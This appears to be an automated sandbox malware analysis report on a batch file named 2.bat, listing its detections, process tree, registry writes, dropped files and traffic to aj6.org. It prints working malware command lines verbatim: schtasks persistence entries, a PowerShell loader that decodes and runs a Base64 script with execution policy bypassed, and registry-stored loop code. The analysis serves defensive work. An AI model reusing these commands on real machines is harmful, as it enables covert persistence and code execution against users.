File name:

2.bat

Full analysis: https://app.any.run/tasks/5848ff9e-1f36-49bd-8aca-231251d0fc66
Verdict: Malicious activity
Analysis date: April 16, 2025, 16:22:43
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
susp-powershell
wmi-base64
Indicators:
MIME: text/x-msdos-batch
File info: DOS batch file, ASCII text, with very long lines (4146), with CRLF line terminators
MD5:

B38648FBCF2E0C0ED01D1442D8CFC66D

SHA1:

3B73BB0E521CD5CC410837C602643D8A17B52A81

SHA256:

8074E8ACD1E7EEECEA84AF043B64BCF4681ACCDFC19A8AF96D3F6C4D1796507C

SSDEEP:

768:nyEVfzTy19ME49qAT6iBqW91020Msi/6LycUNII7Mvav2v2z:nHfzTy19ME49qAT6gqWv02mZLycUN17R

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Uses Task Scheduler to run other applications

      • cmd.exe (PID: 4988)
      • cmd.exe (PID: 4776)

    • Uses Task Scheduler to autorun other applications

      • cmd.exe (PID: 4988)
      • cmd.exe (PID: 4776)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 2284)
      • powershell.exe (PID: 6800)
      • powershell.exe (PID: 2384)
      • powershell.exe (PID: 5280)
      • powershell.exe (PID: 1276)
      • powershell.exe (PID: 4448)
      • powershell.exe (PID: 7308)
      • powershell.exe (PID: 7352)
      • powershell.exe (PID: 7772)

    • Changes powershell execution policy (Bypass)

      • cmd.exe (PID: 4988)
      • wscript.exe (PID: 6372)
      • powershell.exe (PID: 1276)
      • wscript.exe (PID: 6576)
      • wscript.exe (PID: 2136)
      • powershell.exe (PID: 7308)

    • Changes Windows Defender settings

      • cmd.exe (PID: 4988)
      • cmd.exe (PID: 4776)

    • Adds path to the Windows Defender exclusion list

      • cmd.exe (PID: 4988)
      • cmd.exe (PID: 4776)

  • SUSPICIOUS

    • Base64-obfuscated command line is found

      • cmd.exe (PID: 4988)
      • wscript.exe (PID: 2136)

    • Manipulates environment variables

      • powershell.exe (PID: 2284)
      • powershell.exe (PID: 6800)
      • powershell.exe (PID: 7352)

    • Probably obfuscated PowerShell command line is found

      • cmd.exe (PID: 4988)
      • wscript.exe (PID: 2136)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 4988)
      • wscript.exe (PID: 6372)
      • powershell.exe (PID: 1276)
      • cmd.exe (PID: 4776)
      • wscript.exe (PID: 6576)
      • wscript.exe (PID: 2136)
      • powershell.exe (PID: 7308)

    • The process bypasses the loading of PowerShell profile settings

      • cmd.exe (PID: 4988)

    • PowerShell delay command usage (probably sleep evasion)

      • powershell.exe (PID: 5280)
      • powershell.exe (PID: 7352)

    • The process executes Powershell scripts

      • cmd.exe (PID: 4988)
      • wscript.exe (PID: 6372)
      • powershell.exe (PID: 1276)
      • wscript.exe (PID: 6576)
      • wscript.exe (PID: 2136)
      • powershell.exe (PID: 7308)

    • Removes files via Powershell

      • powershell.exe (PID: 5280)
      • powershell.exe (PID: 1276)
      • powershell.exe (PID: 7308)
      • powershell.exe (PID: 7352)

    • Uses sleep to delay execution (POWERSHELL)

      • powershell.exe (PID: 5280)
      • powershell.exe (PID: 1276)
      • powershell.exe (PID: 7308)

    • Gets content of a file (POWERSHELL)

      • powershell.exe (PID: 2384)
      • powershell.exe (PID: 6800)
      • powershell.exe (PID: 1276)
      • powershell.exe (PID: 7308)

    • The process executes VB scripts

      • cmd.exe (PID: 4988)
      • cmd.exe (PID: 4776)

    • Script adds exclusion path to Windows Defender

      • cmd.exe (PID: 4988)
      • cmd.exe (PID: 4776)

    • Starts process via Powershell

      • powershell.exe (PID: 4944)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 1276)
      • powershell.exe (PID: 4448)
      • powershell.exe (PID: 2384)
      • powershell.exe (PID: 7308)
      • powershell.exe (PID: 7772)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 6372)
      • wscript.exe (PID: 2136)
      • wscript.exe (PID: 6576)

    • Application launched itself

      • powershell.exe (PID: 1276)
      • powershell.exe (PID: 7308)

    • Executing commands from a ".bat" file

      • powershell.exe (PID: 4944)

    • Starts CMD.EXE for commands execution

      • powershell.exe (PID: 4944)

    • Uses TIMEOUT.EXE to delay execution

      • cmd.exe (PID: 4776)

    • Uses TASKKILL.EXE to kill process

      • cmd.exe (PID: 4776)

  • INFO

    • Checks whether the specified file exists (POWERSHELL)

      • powershell.exe (PID: 2384)
      • powershell.exe (PID: 1276)
      • powershell.exe (PID: 6800)
      • powershell.exe (PID: 5280)
      • powershell.exe (PID: 7308)

    • Checks if a key exists in the options dictionary (POWERSHELL)

      • powershell.exe (PID: 5548)
      • powershell.exe (PID: 5384)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 4448)
      • powershell.exe (PID: 7772)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 5548)
      • powershell.exe (PID: 5384)

    • Disables trace logs

      • powershell.exe (PID: 4448)
      • powershell.exe (PID: 7772)

    • Checks proxy server information

      • powershell.exe (PID: 4448)
      • powershell.exe (PID: 7772)
      • slui.exe (PID: 5124)

    • Found Base64 encoded text manipulation via PowerShell (YARA)

      • powershell.exe (PID: 1276)

    • Found Base64 encoded access to environment variables via PowerShell (YARA)

      • powershell.exe (PID: 1276)

    • Reads the software policy settings

      • slui.exe (PID: 5124)

    • Found Base64 encoded file access via PowerShell (YARA)

      • powershell.exe (PID: 1276)

    • Found Base64 encoded reflection usage via PowerShell (YARA)

      • powershell.exe (PID: 1276)

    • Found Base64 encoded reference to WMI classes (YARA)

      • powershell.exe (PID: 1276)

    • Found Base64 encoded JSON usage via PowerShell (YARA)

      • powershell.exe (PID: 1276)

    • Found Base64 encoded spyware-related PowerShell classes (YARA)

      • powershell.exe (PID: 1276)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
213
Monitored processes
77
Malicious processes
8
Suspicious processes
5

Behavior graph

Click at the process to see the details
start cmd.exe conhost.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs powershell.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs wscript.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe cmd.exe conhost.exe no specs powershell.exe no specs conhost.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs timeout.exe no specs wscript.exe no specs wscript.exe no specs taskkill.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe slui.exe

Process information

PID
CMD
Path
Indicators
Parent process
516SCHTASKS /Create /SC DAILY /TN "MyTasks\9" /TR "wscript.exe \"C:\Users\admin\AppData\Local\aolmail\402.vbs\"" /ST 18:08 /RL HIGHEST /f C:\Windows\System32\schtasks.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Task Scheduler Configuration Tool
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
660SCHTASKS /Create /SC DAILY /TN "MyTasks\3" /TR "wscript.exe \"C:\Users\admin\AppData\Local\aolmail\401.vbs\"" /ST 08:07 /RL HIGHEST /f C:\Windows\System32\schtasks.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Task Scheduler Configuration Tool
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
680SCHTASKS /Create /SC DAILY /TN "MyTasks\6" /TR "wscript.exe \"C:\Users\admin\AppData\Local\aolmail\401.vbs\"" /ST 23:07 /RU "admin" /f C:\Windows\System32\schtasks.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Task Scheduler Configuration Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
856SCHTASKS /Create /SC ONLOGON /TN "MyTasks\13" /TR "cmd.exe /C \"C:\Users\admin\AppData\Local\aolmail\1.bat\"" /RL HIGHEST /DELAY 0005:00 /F C:\Windows\System32\schtasks.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Task Scheduler Configuration Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
904SCHTASKS /Create /SC DAILY /TN "MyTasks\14" /TR "cmd.exe /C \"C:\Users\admin\AppData\Local\aolmail\2.bat\"" /ST 19:08 /RU "admin" /f C:\Windows\System32\schtasks.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Task Scheduler Configuration Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1072SCHTASKS /Create /SC DAILY /TN "MyTasks\7" /TR "wscript.exe \"C:\Users\admin\AppData\Local\aolmail\402.vbs\"" /ST 08:08 /RL HIGHEST /f C:\Windows\System32\schtasks.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Task Scheduler Configuration Tool
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1128\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1228SCHTASKS /Create /SC DAILY /TN "MyTasks\5" /TR "wscript.exe \"C:\Users\admin\AppData\Local\aolmail\401.vbs\"" /ST 18:07 /RL HIGHEST /f C:\Windows\System32\schtasks.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Task Scheduler Configuration Tool
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1240SCHTASKS /Create /SC DAILY /TN "MyTasks\7" /TR "wscript.exe \"C:\Users\admin\AppData\Local\aolmail\402.vbs\"" /ST 08:08 /RL HIGHEST /F C:\Windows\System32\schtasks.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Task Scheduler Configuration Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1276"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "$file5 = Get-Content -Path 'C:\Users\admin\AppData\Local\aolmail\5'; $decdata5 = [System.Convert]::FromBase64String($file5); $scrfile5 = [System.Text.Encoding]::UTF8.GetString($decdata5); $dectemp5 = [System.IO.Path]::GetTempFileName() + '.ps1'; Set-Content -Path $dectemp5 -Value $scrfile5 -Encoding UTF8; powershell -ExecutionPolicy Bypass -File $dectemp5; Remove-Item -Path $dectemp5"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
63 923
Read events
63 919
Write events
4
Delete events
0

Modification events

(PID) Process:(2384) powershell.exeKey:HKEY_CURRENT_USER\Environment
Operation:writeName:vxx3
Value:
if (Test-Path $cP) { $pO = Get-Content $cP }; if ($cO -ne $pO) { Set-Content -Path $cP -Value $cO; $dC = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((Get-Content $pD)));
(PID) Process:(2284) powershell.exeKey:HKEY_CURRENT_USER\Environment
Operation:writeName:vxx1
Value:
powershell.exe -ExecutionPolicy Bypass -Command " $pD = Join-Path (Join-Path $env:LOCALAPPDATA 'aolmail') '7'; $cP = Join-Path (Join-Path $env:LOCALAPPDATA 'aolmail') '6';
(PID) Process:(5280) powershell.exeKey:HKEY_CURRENT_USER\Environment
Operation:writeName:vxx4
Value:
$TSa = [System.IO.Path]::GetTempFileName() + '.ps1'; Set-Content -Path $TSa -Value $dC -Encoding UTF8; if (Test-Path $oL) { Remove-Item $oL -Force }; Start-Transcript -Path $oL -Append -Force; $tZ = [System.TimeZoneInfo]::Local; $cT = Get-Date; Write-Host '$tZ'; Write-Host '$cT'; powershell -ExecutionPolicy Bypass -File $TSa; Stop-Transcript; Remove-Item -Path $TSa -Force } } Start-Sleep -Seconds 100 }"
(PID) Process:(6800) powershell.exeKey:HKEY_CURRENT_USER\Environment
Operation:writeName:vxx2
Value:
$oL = Join-Path (Join-Path $env:LOCALAPPDATA 'aolmail') '9.log'; $sT = Get-Date; while ((Get-Date) -lt ($sT.AddMinutes(9))) { if (Test-Path $pD) { $cO = (Get-Content $pD).Length; $pO = 0;
Executable files
0
Suspicious files
21
Text files
36
Unknown types
0

Dropped files

PID
Process
Filename
Type
5280powershell.exe —
MD5:—
SHA256:—
6800powershell.exe —
MD5:—
SHA256:—
4988cmd.exeC:\Users\admin\AppData\Local\aolmail\1.battext
MD5:EEB086A7854DAE6CDCE64F49EB87D64C
SHA256:5822C2222C4A4121A1667C7D483FF8B91E489A4C5E881C75A4354712BFE6F435
2384powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msbinary
MD5:0497FC41B7D729B73C291750B4D1FF39
SHA256:E83956752175D22D6BE677E1FC33B8AFA2E70C6BC300530124D1E38C30A10A45
2284powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msbinary
MD5:0497FC41B7D729B73C291750B4D1FF39
SHA256:E83956752175D22D6BE677E1FC33B8AFA2E70C6BC300530124D1E38C30A10A45
6800powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_0kvem00b.s3n.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5280powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_tbf5z052.nt2.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
2384powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF10c7c6.TMPbinary
MD5:D040F64E9E7A2BB91ABCA5613424598E
SHA256:D04E0A6940609BD6F3B561B0F6027F5CA4E8C5CF0FB0D0874B380A0374A8D670
2384powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ubb1wvdg.cqi.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4988cmd.exeC:\Users\admin\AppData\Local\aolmail\403.vbstext
MD5:352D2073ED92BD9D618901967BEF9788
SHA256:31A82C8A853C05432CBBD5309BE6DA8F89E13F7FDA3BC275BC92D9041536E100
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
37
TCP/UDP connections
55
DNS requests
17
Threats
7

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4448
powershell.exe
POST
—
172.67.195.20:80
http://aj6.org/in.php
unknown
—
—
unknown
7772
powershell.exe
POST
—
172.67.195.20:80
http://aj6.org/in.php
unknown
—
—
unknown
2104
svchost.exe
GET
200
2.16.241.12:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
8144
SIHClient.exe
GET
200
23.48.23.143:80
http://crl.microsoft.com/pki/crl/products/MicTimStaPCA_2010-07-01.crl
unknown
—
—
whitelisted
8144
SIHClient.exe
GET
200
23.48.23.143:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl
unknown
—
—
whitelisted
8144
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
—
—
GET
304
20.12.23.50:443
https://slscr.update.microsoft.com/SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.4046/0?CH=686&L=en-US&P=&PT=0x30&WUA=10.0.19041.3996&MK=DELL&MD=DELL
unknown
—
—
—
8144
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Signing%20CA%202.1.crl
unknown
—
—
whitelisted
—
—
GET
200
40.69.42.241:443
https://fe3cr.delivery.mp.microsoft.com/clientwebservice/ping
unknown
—
—
—
8144
SIHClient.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20Update%20Signing%20CA%202.2.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
2104
svchost.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
2104
svchost.exe
2.16.241.12:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
3216
svchost.exe
172.211.123.249:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
6544
svchost.exe
20.190.159.131:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
2104
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4448
powershell.exe
172.67.195.20:80
aj6.org
CLOUDFLARENET
US
unknown
2104
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 4.231.128.59
  • 51.104.136.2
  • 40.127.240.158
  • 51.124.78.146
whitelisted
google.com
  • 216.58.212.142
whitelisted
crl.microsoft.com
  • 2.16.241.12
  • 2.16.241.19
  • 23.48.23.143
  • 23.48.23.157
  • 23.48.23.146
  • 23.48.23.145
  • 23.48.23.159
  • 23.48.23.153
  • 23.48.23.158
  • 23.48.23.161
  • 23.48.23.149
whitelisted
client.wns.windows.com
  • 172.211.123.249
whitelisted
login.live.com
  • 20.190.159.131
  • 20.190.159.4
  • 40.126.31.73
  • 20.190.159.68
  • 20.190.159.73
  • 40.126.31.3
  • 40.126.31.2
  • 40.126.31.67
whitelisted
aj6.org
  • 172.67.195.20
  • 104.21.44.47
unknown
slscr.update.microsoft.com
  • 4.175.87.197
whitelisted
www.microsoft.com
  • 23.35.229.160
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 20.3.187.198
whitelisted
activation-v2.sls.microsoft.com
  • 40.91.76.224
whitelisted

Threats

PID
Process
Class
Message
4448
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
4448
powershell.exe
Misc activity
SUSPICIOUS [ANY.RUN] Sent Host Name in HTTP POST Body
7772
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
4448
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
7772
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
4448
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
7772
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
No debug info